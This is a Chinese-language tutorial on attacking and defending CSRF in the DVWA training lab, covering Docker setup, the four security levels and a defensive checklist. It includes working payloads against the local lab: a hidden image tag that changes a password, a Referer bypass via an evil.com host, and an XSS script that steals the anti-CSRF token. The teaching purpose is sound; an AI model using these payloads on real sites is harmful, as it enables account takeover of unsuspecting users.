☰
DVWA靶场CSRF实战指南:从Docker搭建到四级别攻防
2026/10/8 20:02:06 网站建设 项目流程

做Web安全测试绕不开DVWA靶场,而DVWA里的CSRF模块,几乎所有人第一次刷完都觉得"就这?"。但我带过的人里,十有八九只记住了"点个链接改密码",真要让他们说清楚Low和Medium差在哪、High为什么不能直接打、Impossible到底做了哪些事,马上卡壳。

这篇我打算用DVWA靶场把CSRF从原理到实操完整捋一遍,从Docker搭环境开始,到四个安全级别逐一通关,顺带记录我在这个模块上踩过的坑和排查经验。不管你是刚开始接触Web安全的新手,还是想系统化理解CSRF攻防的测试人员,这篇都能直接照着操作。

1. 先把DVWA靶场跑起来:Docker方式十分钟搞定

1.1 为什么我推荐用Docker跑DVWA

DVWA本身是一个PHP+MySQL的Web应用,对环境要求不复杂,但麻烦就麻烦在"兼容性"。早些年我自己在Kali上手动搭过,PHP版本和MySQL认证插件稍微不对付,页面就开始报错,什么mysqli::real_connect(): The server requested authentication method unknown to the client之类的,排查起来非常浪费时间。

Docker方案的好处在于:官方维护的编排文件把Apache、PHP、MySQL的版本和配置全部固定好了,你只需要把整个容器组合拉下来启动,不需要在宿主机上装任何运行环境。整个DVWA依赖的数据库、目录权限、初始配置都在容器生命周期内自动完成。对我这种"不想为靶场折腾环境的人"来说,这是最省事的路径。而且容器删了重建也就几秒钟,反复做实验非常方便。

1.2 实操:利用Docker Compose搭建DVWA

DVWA官方仓库直接提供了docker-compose配置,操作步骤只有三步。

先在终端里执行:

git clone https://github.com/digininja/DVWA.git cd DVWA docker compose up -d

如果你的机器还没装Docker Compose,先装一下。Kali里一般都有docker.io和docker-compose,没有的话用apt install docker.io docker-compose补上。

第一次启动会拉取两个镜像:一个负责Apache+PHP跑DVWA代码,一个负责MySQL存数据。拉取镜像的时间取决于网络情况,国内环境可以给Docker配置一个镜像加速器,不然可能要等很久。

启动完成后,在浏览器里访问:

http://127.0.0.1:8080/login.php

如果能看到DVWA的登录页,说明容器已经正常工作了。8080这个端口来自docker-compose.yml里配置的端口映射,把容器内部的80端口映射到了宿主机的8080端口。如果你本机8080被占用了,可以改映射,比如"8090:80"。

接下来是初始化数据库。第一次访问DVWA时,系统会提示你数据库还没建立,需要点击页面上的Create / Reset Database按钮。这个按钮会触发DVWA自带的初始化脚本,自动建表、插入默认数据。点完之后回到登录页,使用默认账号登录:

用户名:admin 密码:password

登录后建议顺手把配置文件检查一下。DVWA的数据库连接配置在config/config.inc.php里,官方仓库给的是config.inc.php.dist模板,Docker容器里会自动处理,但如果你后面要自定义数据库密码,就会用到这个文件。手动搭建读者注意,别漏了改名这一步。

1.3 初始化环境与安全级别设置

DVWA自带一个安全级别设置页面,路径是DVWA Security,里面可以选low、medium、high、impossible四个等级。不同等级对应完全不同的代码逻辑,这正是我们练习CSRF的核心场景。

我的建议是:刚开始刷的时候,按Low到Impossible的顺序逐个通关,每个等级都看清楚代码是怎么写的,再动手验证攻击思路。不要一上来就调到Impossible,那样就失去了练习的意义。

这里还要提一嘴Burp Suite。练习CSRF时,浏览器开发者工具虽然够用,但Burp能更方便地改请求、看响应、对比不同安全级别下的差异。如果你用Burp,记得把浏览器代理指向127.0.0.1:8080,注意别和DVWA的容器端口搞混了——Burp默认监听8080,DVWA容器也可能映射8080,两个偏偏撞在一起是常见事故。我习惯把DVWA映射到其他端口,比如8081,省得和Burp抢。

2. CSRF漏洞底层逻辑:为什么浏览器会帮攻击者"代签"

2.1 用快递代签的类比讲清CSRF

CSRF的全称是Cross-Site Request Forgery,中文叫跨站请求伪造。要理解它,我习惯用快递代签做类比。

你下单买了个东西,快递员把包裹送到门口,只要签收单上写的是你的名字,快递员默认这就是你本人签收的,包裹一放就走了。攻击者干的事情,就是趁你已经下过单、知道你那个快递员几点会来的情况下,抢在快递员面前在签收单上写你的名字,让快递员以为是你本人要求把包裹给他。

映射到Web世界就是这样:你已经登录了一个网站,浏览器里存着有效的会话Cookie。攻击者构造一个请求,诱导你的浏览器向那个网站发送。网站一看请求带着你的Cookie,就认为这是你本人发起的操作,照单全收。攻击者自始至终不知道你的Cookie是什么,但他不在乎,因为浏览器会自动带上。

DVWA的CSRF模块就是把"改密码"这个典型场景做成了一道题。网站提供了一个修改密码的URL,通过GET参数直接传新密码,没有任何来源校验和身份复核。只要你登录着DVWA,再访问了这个URL,密码就被改了——这就是CSRF攻击的完整链路。

2.2 形成CSRF的三个硬性条件

不是说随便跨个站发个请求就算CSRF,要成立至少得同时满足三个条件:

第一,用户已经登录目标网站,而且会话状态在浏览器中依然有效。这是前提中的前提,你都没登录,攻击者再怎么诱导也没用。

第二,目标网站存在能够改变状态的操作接口。比如修改密码、转账、发帖、改收货地址。如果只是个查询接口,比如查个天气,那就算跨站请求能发过去,也不构成安全问题。CSRF关注的是"状态变更"类操作。

第三,用户浏览器在不知情的情况下会携带会话凭证发起请求。Cookie天然满足这个条件,只要请求的域名符合Cookie的Domain属性,浏览器就自动带上。这也是CSRF至今仍然存在的原因——它是HTTP协议和无状态Cookie体系的固有特性。

这里很多人有个误解,觉得同源策略能防住CSRF。我特意要说清楚:浏览器的同源策略管的是"能不能读取跨域响应",它并不限制"能不能发送跨域请求"。<img>可以加载外站图片,<a>可以跳转到外站,<form>可以把数据提交到外站,这些都是浏览器默许的行为。Cookie跟着请求去了外站,但跨站页面里的JavaScript是无法读到Cookie值的——同源策略卡在了"读"这一层,没卡在"发"这一层。

2.3 和XSS、SSRF的区别(很多人栽在这里)

我见过不少新手把CSRF、XSS、SSRF混在一起,遇到请求伪造类漏洞就傻傻分不清。用一个信任维度的说法就能拆开:

CSRF信任的是"浏览器携带的凭证",攻击者利用的是用户已经登录的身份;XSS信任的是"注入的脚本内容",攻击者利用的是服务端或客户端没有过滤的输入;SSRF信任的是"服务器自己发起的请求",攻击者利用的是服务端可以访问内网资源的特性。

三者的区别可以看这张对比表:

漏洞类型攻击者利用的信任方攻击目标典型载体
CSRF用户浏览器自动携带的凭证用户身份下的状态变更操作HTML页面、图片标签、跨站表单
XSS服务端输出的用户可控内容在用户浏览器中执行脚本恶意脚本、事件属性、URL参数
SSRF服务端发起的网络请求内网资源、云元数据接口URL参数、导入功能、Webhook配置

CSRF和XSS经常被放在一起聊,还有个原因是它们可以配合使用。CSRF最大的短板是攻击者无法看到受害者的响应内容,遇到Token防护就没辙了。但如果有XSS漏洞,攻击者注入的脚本就能在受害者浏览器里直接读取Token、发起请求,相当于给CSRF装上了"眼睛"。DVWA的High级别就是演示这个配合的经典场景。

3. DVWA四个安全级别的CSRF攻击实操记录

3.1 Low级别:裸奔的密码修改接口

先把DVWA安全级别设为Low,然后打开CSRF模块页面。这个页面上有个改密表单,填下新密码和确认密码,点Change就能修改。但关键点不在于表单本身,而在于提交请求的构造方式。

Low级别的服务端代码是直接信任所有请求的,核心逻辑就是:

if( isset( $_GET[ 'Change' ] ) ) { $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if( $pass_new == $pass_conf ) { // 直接更新数据库里的密码 } }

注意,这个接口用的是GET请求。这意味着不需要表单提交,浏览器地址栏里直接拼参数就能触发密码修改。把URL构造出来:

http://127.0.0.1:8081/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

先用admin账号登录DVWA,然后在同一个浏览器的另一个标签页里访问这个URL,密码直接就被改成123456了。你可以再用123456试试登录,会非常直观地看到效果。

这是最基础的方式,但真正要模拟"受害者被攻击"的场景,需要把这个URL藏在一个诱导页面里。比如把下面这段HTML保存成一个csrf_demo.html文件,放到任意静态服务器上,或者直接用File://协议打开:

<!DOCTYPE html> <html> <body> <a href="http://127.0.0.1:8081/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">点我看美女照</a> </body> </html>

受害者只要在已登录DVWA的浏览器里点击这个链接,密码就被改了。如果攻击者不想依赖用户点击,可以用图片标签让浏览器自动发起请求:

<img src="http://127.0.0.1:8081/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change" width="0" height="0">

只要受害者打开了包含这个标签的页面,浏览器就会自动加载图片,向目标地址发出GET请求,DVWA照单全收。这就是CSRF里常用的"零点击攻击"。

Low级别的实操到这里就完事了。它想表达的核心是:如果服务端不做来源校验,任何能发请求的载体都能成为攻击工具。<a>、<img>、<form>、<iframe>、fetch,随便选。

3.2 Medium级别:Referer校验的绕过思路

把安全级别调到Medium,再试之前的攻击方式,会发现密码改不成功了。原因在于服务端加了一层Referer头校验。代码长这样:

if( stripos( $_SERVER[ 'HTTP_REFERER' ] , $_SERVER[ 'HTTP_HOST' ] ) !== false ) { // 校验通过,允许改密 }

这段代码的思路是:检查HTTP请求头里的Referer字段,看里面是否包含当前站点的Host名。如果包含,说明请求来自本网站;如果不包含,就认为是跨站请求,拒绝执行。

这么说起来逻辑好像没问题,但实现有个致命缺陷:校验方式是"包含匹配",而不是"域名精确匹配"。只要Referer字符串里包含目标Host字样,就能通过验证。

绕过思路就很清晰了。假设DVWA跑在192.168.1.100:8081,Host值是192.168.1.100:8081。攻击者可以把自己恶意页面的部署地址构造成:

http://192.168.1.100:8081.evil.com/csrf.html

这样浏览器发起跨站请求时,Referer就是:

http://192.168.1.100:8081.evil.com/csrf.html

服务端用stripos查找字符串192.168.1.100:8081,发现Referer里确实包含这段,校验直接通过。这是一种典型的子域名/域名前缀绕过思路。

如果是实战环境,攻击者需要能控制一个域名下的页面地址,把目标Host拼进域名或路径里就能绕。比如:

http://csrftest.com/192.168.1.100:8081/evil.html

Referer里同样会包含目标Host字符串,也能通过校验。

在DVWA本地练手时还有一个更直接的办法:用Burp Suite拦截改密请求,把请求头的Referer字段手动改成包含127.0.0.1:8081的值,比如:

Referer: http://127.0.0.1:8081/whatever

服务端只要检测到Referer包含Host,这次请求就能通过。这个方式虽然实战中用不上,因为攻击者没法控制受害者浏览器的请求头,但用来理解校验原理非常管用。

有一个细节必须提醒:Medium级别的校验用的是stripos,如果Referer为空字符串,stripos会返回false,校验失败。所以网上有些文章说"把Referer删掉就能绕过",在DVWA的这个场景里是不成立的。空Referer只对检查严格、非空即拒的站点有意义,对包含式匹配的站点反而死得很难看。

3.3 High级别:Token防护下的利用方式

把安全级别调到High,再尝试之前的绕过方式,会发现即使Referer完全正确,请求依然失败。因为High级别引入了Anti-CSRF Token机制。打开CSRF页面时,页面上隐藏字段user_token的值,和当前用户的Session进行了绑定。每次提交改密请求,服务端都会校验提交的Token是否和Session里的一致:

session_start(); if( isset( $_GET[ 'Change' ] ) ) { $token = $_SESSION[ 'token' ]; if( $_GET[ 'user_token' ] != $token ) { exit( 'CSRF token mismatch.' ); } }

Token是个随机字符串,存储在Session里,页面上的表单每次刷新都会变化,攻击者无法预先知道当前Session里的Token值。换句话说,你构造一个静态的攻击URL,里面带一个固定Token,是永远对不上号的。

那High级别就无解了吗?当然不是。DVWA设置这个等级的目的,是让你理解Token防护的真正意义,以及它为什么不是万能的。Token的获取难点在于"攻击者读不到受害者的响应",但如果有办法在受害者的浏览器里执行脚本,Token就是透明的。

最经典的利用组合是配合存储型XSS。DVWA里有个XSS(Stored)模块,允许留言本里的内容被存储并展示给所有访问者。如果能把提取Token并自动提交改密请求的脚本注入到留言本里,那么管理员只要访问留言本,脚本就会在它的浏览器里运行。

payload大致长这样:

<script> var xhr = new XMLHttpRequest(); xhr.open('GET', '/vulnerabilities/csrf/', false); xhr.send(); var token = xhr.responseText.match(/user_token'\s*value='(.*?)'/)[1]; var attack = new XMLHttpRequest(); attack.open('GET', '/vulnerabilities/csrf/?password_new=123456&password_conf=123456&user_token=' + token + '&Change=Change', true); attack.send(); </script>

流程是这样的:脚本先同源请求CSRF页面,拿到响应HTML,用正则提取出当前有效的Token,再带着这个Token提交改密请求。因为脚本是在受害者浏览器里执行的,Cookie和Token都自动携带,服务端完全分辨不出来这到底是不是用户本人在操作。

实操时我会把DVWA安全级别切到Low,先在XSS存储模块里提交payload,然后把安全级别调回High,用管理员账号访问留言本页面,密码立刻变掉。这演示了一个非常重要的概念:任何CSRF漏洞的利用都可能因为XSS的加持从"不可能"变成"可能"。反过来也说明,只靠Token并不是绝对安全的,把输入过滤做好同样重要。

3.4 Impossible级别:正确防护长什么样

Impossible级别展示的是DVWA作者认为"足够安全"的写法。打开代码可以看到,防护从三个维度叠加:

第一,校验Token,而且Token是绑定Session且每次提交后更新;第二,校验HTTP Referer,对来源进行限制;第三,修改密码必须输入当前密码,且新密码不能与当前密码相同。部分版本还要求密码符合强度规则。

if( $_GET[ 'user_token' ] != $_SESSION[ 'token' ] ) { exit( 'CSRF token mismatch.' ); } if( $pass_new == $pass_current ) { // 新密码不能等于当前密码 } // 更新密码

即使在存在XSS的情况下,攻击者也最多能拿到Token,但拿不到用户的当前密码。这是对关键操作做"二次确认"的典型示范,也是日常开发中面对高风险操作应该采取的默认姿态。

四个级别的防护措施差异,我用表总结一下:

安全级别是否校验Token是否校验Referer是否需要当前密码是否能直接利用
Low否否否是
Medium否是(包含匹配)否可绕过
High是(绑定Session)否否需配合XSS
Impossible是是是极难

4. 实战中的常见问题与排查技巧实录

4.1 一份可以直接套用的CSRF检查清单

刷完DVWA,你会对CSRF有一个立体认识。但拿到真实项目里测CSRF,光记着DVWA里的操作是不够的。我整理了一份我平时做安全测试时用的检查清单,照着查基本能锁定大部分CSRF问题。

第一,看关键操作使用的HTTP方法。凡是修改密码、绑定手机、修改邮箱这类状态变更操作,如果用GET请求,大概率存在CSRF风险。因为GET请求可以被<img>标签自动触发,攻击成本极低。正确做法是使用POST,但注意POST本身不防CSRF,只是增加了利用门槛。

第二,看请求里有没有Token,以及这个Token是不是有效防护。很多站点喜欢往表单里塞一个隐藏Token,但Token是固定值或者从Cookie里直接读取,实际没有和Session绑定,这种Token就只是样子货,抓包拿到后照样能伪造。

第三,看服务端有没有校验来源。检查代码里是否对Referer或Origin头做限制,以及限制做得是否严格。如果只是包含匹配,很容易被域名前缀绕过绕过。

第四,看Cookie的SameSite属性。如果关键业务的会话Cookie设置了SameSite=Lax或Strict,浏览器在跨站请求时就不会带上Cookie,CSRF会从根上失效。但要注意,SameSite只对跨站请求有效,子域名和同站请求不在限制范围内,所以不能把它当唯一防线。

第五,看高风险操作有没有二次认证。修改密码、绑定新手机号这类操作,是否要求输入当前密码或验证码。如果有,即使CSRF请求能到达服务端,也会卡在身份复核这一步。

4.2 常见误区与排查思路

我在实战中见过不少同学拿着DVWA的经验去测真实系统,结果误判频出。我总结几个高频误区,你看完能少走弯路。

误区一:认为同源策略能防CSRF。这个前面说过,同源策略限制的是JavaScript跨域读取响应,并不阻止跨域发送请求。Cookie、表单、图片请求都能跨站发出。所以,不能因为"我们是同源的,安全"就忽略CSRF校验。

误区二:认为Token存在就安全。很多站点的Token是写在Cookie里的,或者生成逻辑可预测(比如时间戳加固定盐)。这类Token要么直接被盗用,要么可以被枚举。真正有效的Token必须满足三个条件:随机性足够强、和当前用户Session绑定、每次使用后更换。

误区三:认为校验了Referer就万无一失。Referer头本身可以由服务端配置、浏览器插件、HTML标签上的referrerpolicy属性影响,甚至有些场景下浏览器根本不发送Referer。安全开发里,Referer校验只能作为辅助手段,不能作为主力。

误区四:觉得HTTPS能防止CSRF。HTTPS解决的是传输过程中的窃听和篡改问题,不解决身份冒用问题。攻击者诱导受害者浏览器发起的请求,同样会走HTTPS,服务端收到的还是一个带Cookie的合法请求,照样被信任。

排查问题上,我的思路是这样的:先用Burp拦截一个正常的关键操作请求,看清楚请求参数里有哪几个是服务端校验的;然后拿着这个请求直接改Session、删Cookie、修改Referer、去掉Token,分发明发,观察服务端反应;每改一个变量发一次,记录是否还能成功。通过这种"正交测试",可以快速定位服务端到底校验了哪些因素。

如果想用脚本自动化验证CSRF是否存在,可以写一个简单的Python脚本,模拟不带Token提交请求的行为:

import requests session = requests.Session() login_data = { 'username': 'admin', 'password': 'password', 'Login': 'Login' } session.post('http://127.0.0.1:8081/login.php', data=login_data) r = session.get( 'http://127.0.0.1:8081/vulnerabilities/csrf/', params={ 'password_new': 'test1234', 'password_conf': 'test1234', 'Change': 'Change' } ) print('Status:', r.status_code) print('Access:', r.text[:300])

如果这个不带Token的请求返回了成功页面,说明请求没有经过Token校验,CSRF风险已经坐实。一个合格的测试人员不应该只停留在"能发请求"层面,而是要清晰描述出"缺失了哪一道防护"。

4.3 在DVWA实操中我踩过的三个坑

最后分享几个我实际刷DVWA时遇到的问题,希望能帮你避开同样的弯路。

第一个坑,Medium级别里把Referer头删成空,以为能绕过。我最初看某些资料说"删除Referer可以绕过CSRF校验",就在Medium级别里尝试,结果请求全被拒绝。后来看了源码才发现,DVWA的Medium校验用的是stripos(Referer, Host),Referer为空的时候stripos返回false,一样会被拦截。空Referer只在站点对Referer做严格白名单、非空才校验的场景下有用。对DVWA这个靶场,正确绕法是构造Referer包含目标Host的地址,而不是删掉它。

第二个坑,在Low级别测试改密,Burp里请求返回200,但用新密码登录时发现密码根本没变。找出原因后哭笑不得,我提交参数名写错了。DVWA的改密参数是password_new和password_conf,我误写成了new_password和confirm_password,服务端取不到参数,自然不会有任何动作。这个问题在真实系统测试中也经常遇到,建议每次测试前先用正常方式提交一次请求,在Burp里看清参数名,再动手造攻击载荷。

第三个坑,High级别里我尝试构造带Token的URL,但反复失败。原因是Token每次请求都会变化,而且和Session绑定,你手动从页面响应里提取一个Token,构造好URL再提交,可能中间刷新了一下页面,Token就失效了。要稳定攻击,必须写脚本在同一个请求会话里先读取Token再立即提交,中间不能有任何间隔操作。这个坑让我学会了"CSRF Token防护下,利用脚本必须保持请求链路的完整性"。

个人体会

刷完整个CSRF模块,我个人最大的感受是:CSRF的核心问题不是"怎么把请求发出去",而是"服务端有没有能力判断这个请求是不是用户本人的真实意图"。DVWA从Low到Impossible的四个等级,恰好把这道题从"完全不管"讲到了"多因素复核",每一步都有非常强的现实映射。建议你在刷完DVWA之后,随便找个自己写的小项目,试着按Impossible的标准把改密码功能重写一遍。你会发现,真正难的其实不是写Token校验代码,而是搞清楚每一层防护到底在防什么攻击者。有了这层理解,以后再看到任何"请求伪造类"漏洞,你都不会再心虚。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询